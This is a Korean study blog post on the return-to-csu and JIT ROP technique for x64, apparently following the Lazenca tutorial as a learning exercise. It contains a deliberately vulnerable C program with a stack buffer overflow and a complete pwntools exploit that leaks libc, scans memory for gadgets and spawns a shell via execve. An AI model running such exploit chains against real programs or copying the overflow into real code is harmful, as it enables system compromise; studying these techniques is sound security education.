혜랑's STORY

[Lazenca] Return-to-csu (feat.JIT ROP) - x64 본문

2021 SISS 21기 활동/여름방학 System

[Lazenca] Return-to-csu (feat.JIT ROP) - x64

hyerang0125 2021. 7. 23. 21:44
return-to-csu는 __libc_csu_init() 함수의 일부 코드를 Gadget으로 이용하는 기술이다.
__libc_csu_init() 함수는 프로그램 실행시 _init() 함수와 __preint_array, __init_array에 설정된 함수 포인터를 읽어서 함수를 호출한다.

return-to-csu에서 사용되는 코드는 다음과 같다.(해당 코드는 __init_array에 저장된 함수 포인터를 읽어 호출하는 코드이다.)

void __libc_csu_init (int argc, char **argv, char **envp)
{
  ...
  const size_t size = __init_array_end - __init_array_start;
  for (size_t i = 0; i < size; i++)
      (*__init_array_start [i]) (argc, argv, envp);
}

다음은 objdump를 이용하여 __libc_csu_init() 함수의 Assembly code이다.

objdump -M intel -d ./rop
이때 사용하는 ./rop는 아래에 나오는 rop.c를 컴파일 한 바이너리 파일이다.

해당 코드에서 return-to-csu의 gadget으로 활용되는 부분은 0x400690, 0x4006aa라고 한다. 아직 왜인지 모르겠지만 천천히 따라해보도록 하자. 

아래 방식으로 gadget을 활용한다.

  • Gadget1에 의해 rbx, rbp, r12, r13, r14, r15 레지스터에 값을 저장한다.
  • Gadger2에 의해 r13, r14, r15d 레지스터에 값을 저장된 값을 rdx, rsi, edi 레지스터에 저장한다.
    • 이때 중요한 것은 r15에 저장된 64bit 값에서 32bit 값만 EDI 레지스터에 저장된다. (mov edi, r15d)
    • 그리고 최대 3개의 인자 값만 함수에 전달할 수 있다.
  • Gadget2에 의해 r12 레지스터 값에 저장된 주소를 호출한다.

이때 rbx, rbp 레지스터 값을 주의해야 한다.

  • Gadget1에 의해 rbx 레지스터에 '0'을 저장해야 r12 레지스터 값에 저장된 주소를 호출할 수 있다.
    • 0x600100 + 0 * 0x8 = 0x600100
    • 0x600100 + 1 * 0x8 = 0x600108

즉, Gadget1에 의해 rbp 레지스터에 '1'을 저장해야 조건문을 우회할 수 있다.

  • "call QWORD PTR [r12 + rbx * 8]" 명령어를 처리 후 조건문을 처리한다.
  • CMP 명령어는 RBX, RBP 레지스터의 값이 같은지 확인한다.
  • JNE 명령어 처리
    • CMP 결과 두 값이 다를 경우 0x400690으로 이동한다.
    • CMP 결과 두 값이 같을 경우 0x4006a6으로 이동한다.

 

Proof of concept


//gcc -fno-stack-protector -o rop rop.c
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
 
void vuln(){
    char buf[50];
    read(0, buf, 512);
}
 
void main(){
    write(1,"Hello ROP\n",10);
    vuln();
}

Break Point

  • 0x400566 : vuln 함수 코드 첫 부분
  • 0x40057f : read() 함수 호출 전

즉, 72개 이상의 문자를 입력함으로써 Return address 영역을 덮어 쓸 수 있다.

Exploit method

  • ROP 기법을 이용한 Exploit의 순서는 다음과 같다.
1번째 ROP Chain
    a. write() 함수를 이용하여 __libc_start_main@GOT 영역에 저장된 libc 주소를 추출합니다.
    b. read() 함수를 이용하여 .bss 영역에 다음 ROP 코드를 입력받습니다.
2번째 ROP Chain
    a. "/bin/sh\x00"execve() 함수의 첫번째 인자 값으로 전달할 "/bin/sh"을 "./bss" 영역에 저장합니다.
    b. JIT ROP - write() 함수를 이용하여 메모리에 저장된 libc 파일을 출력합니다.
        - 출력 값에서 필요한 ROP Gadget을 찾습니다.
    c. read() 함수를 이용하여 .bss 영역에 다음 ROP 코드를 입력받습니다.
3번째 ROP Chain
    a. execve() 시스템 함수를 이용해 "/bin/sh"를 실행 합니다.
  • 이를 코드로 표현하면 다음과 같다.
write(1,__libc_start_main,8)
read(0,.bss + 0x400,400)
JMP .bss + 0x400
write(1,Address of leak libc,0x190000)
read(0,"base_stage + len(buf) + 8 * 10" ,100)
execve("/bin/sh", NULL, NULL)
  • 공격을 위해 알아야 할 정보는 다음과 같다.
- .bss 주소
- return-to-csu gadget 주소
- read, write 함수의 got 주소
- "/bin/sh"

 

.bss 영역의 주소 찾기

readelf -S ./rop

return-ro-csu gadget 주소 찾기

  • Gadget 1 : 0x40060a (pop rbx)
  • Gadget 2 : 0x4005f0 (mov rdx, r13)
  • Gadget 3 : 0x40060d (pop RSP)

Idea of using R8, R9, R10, R11, R12, R13, R14, R15 registers

  • POP "R8, R9, R10, R11, R12, R13, R14, R15" 명령어들은 POP "RAX, RCX, RDX, RBX, RSP, RBP, RSI, RDI" 명령어로 활용 가능하다.
  • 예를 들어 "POP R8" 명령어의 hex 값은  "41 58"이기 때문에 "POP RAX" 명령어 (hex값 58)도 사용할 수 있다.
  • 이를 이용하여 Exploit Code에서 0x40060d 주소를 3번째 gadget으로 사용할 수 있다.
    • 이 gadget을 이용하여 RSP 레지스터에 값을 저장할 수 있다.
    • RSP 레지스터에 다음 ROP 코드가 저장된 영역의 주소를 저장하고 해당 영역으로 이동하여 코드를 실행한다.
       

Exploit code

from pwn import *
from struct import *
  
#context.log_level = 'debug'
  
binary = ELF('./rop')
 
execve = 59
 
addr_bss = 0x601050
addr_got_read = binary.got['read']
addr_got_write = binary.got['write']
addr_got_start = binary.got['__libc_start_main']
  
addr_csu_init1 = 0x40060a
addr_csu_init2 = 0x4005f0
addr_csu_init3 = 0x40060d
  
stacksize = 0x400
base_stage = addr_bss + stacksize
  
p = process(binary.path)
p.recvn(10)
  
# stage 1: read address of __libc_start_main()
buf = 'A' * 72
#Gadget 1
buf += p64(addr_csu_init1)
buf += p64(0)
buf += p64(1)
buf += p64(addr_got_write)
buf += p64(8)
buf += p64(addr_got_start)
buf += p64(1)
#Gadget 2 - write(1,__libc_start_main,8)
buf += p64(addr_csu_init2)
buf += p64(0)
buf += p64(0)
buf += p64(1)
buf += p64(addr_got_read)
buf += p64(400)
buf += p64(base_stage)
buf += p64(0)
#Gadget 2 - Call read(0,.bss + 0x400,400)
buf += p64(addr_csu_init2)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
 
buf += p64(addr_csu_init3)
buf += p64(base_stage)
 
p.send(buf)
libc_addr = u64(p.recv())
log.info("__libc_start_main : " + hex(libc_addr))
  
libc_bin = ''
libc_readsize = 0x190000
 
# stage 2: "/bin/sh\x00" and JIT ROP
buf = "/bin/sh\x00"
buf += 'A' * (24-len(buf))
 
 
buf += p64(addr_csu_init1)
buf += p64(0)
buf += p64(1)
buf += p64(addr_got_write)
buf += p64(libc_readsize)
buf += p64(libc_addr)
buf += p64(1)
  
#Gadget 1 - write(1,Address of leak libc,0x190000)
buf += p64(addr_csu_init2)
buf += p64(0)
buf += p64(0)
buf += p64(1)
buf += p64(addr_got_read)
buf += p64(100)
buf += p64(base_stage + len(buf) + 8 * 10)
buf += p64(0)
  
#Gadget 2 - read(0,"base_stage + len(buf) + 8 * 10" ,100)
buf += p64(addr_csu_init2)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
 
p.send(buf)
  
with log.progress('Reading libc area from memory...') as l:
    for i in range(0,libc_readsize/4096):
        libc_bin += p.recv(4096)
        l.status(hex(len(libc_bin)))
 
offs_pop_rax = libc_bin.index('\x58\xc3') # pop rax; ret
offs_pop_rdi = libc_bin.index('\x5f\xc3') # pop rdi; ret
offs_pop_rsi = libc_bin.index('\x5e\xc3') # pop rsi; ret
offs_pop_rdx = libc_bin.index('\x5a\xc3') # pop rdx; ret
offs_syscall = libc_bin.index('\x0f\x05') # syscall
 
log.info("Gadget : pop rax; ret > " + hex(libc_addr + offs_pop_rax))
log.info("Gadget : pop rdi; ret > " + hex(libc_addr + offs_pop_rdi))
log.info("Gadget : pop rsi; ret > " + hex(libc_addr + offs_pop_rsi))
log.info("Gadget : pop rdx; ret > " + hex(libc_addr + offs_pop_rdx))
log.info("Gadget : syscall > " + hex(libc_addr + offs_syscall))
  
# stage 3: execve("/bin/sh", NULL, NULL)
buf = p64(libc_addr + offs_pop_rax)
buf += p64(execve)
buf += p64(libc_addr + offs_pop_rdi)
buf += p64(base_stage)
buf += p64(libc_addr + offs_pop_rsi)
buf += p64(0)
buf += p64(libc_addr + offs_pop_rdx)
buf += p64(0)
buf += p64(libc_addr + offs_syscall)
  
p.send(buf)
p.interactive()

 

성공적으로 쉘을 얻을 수 있다.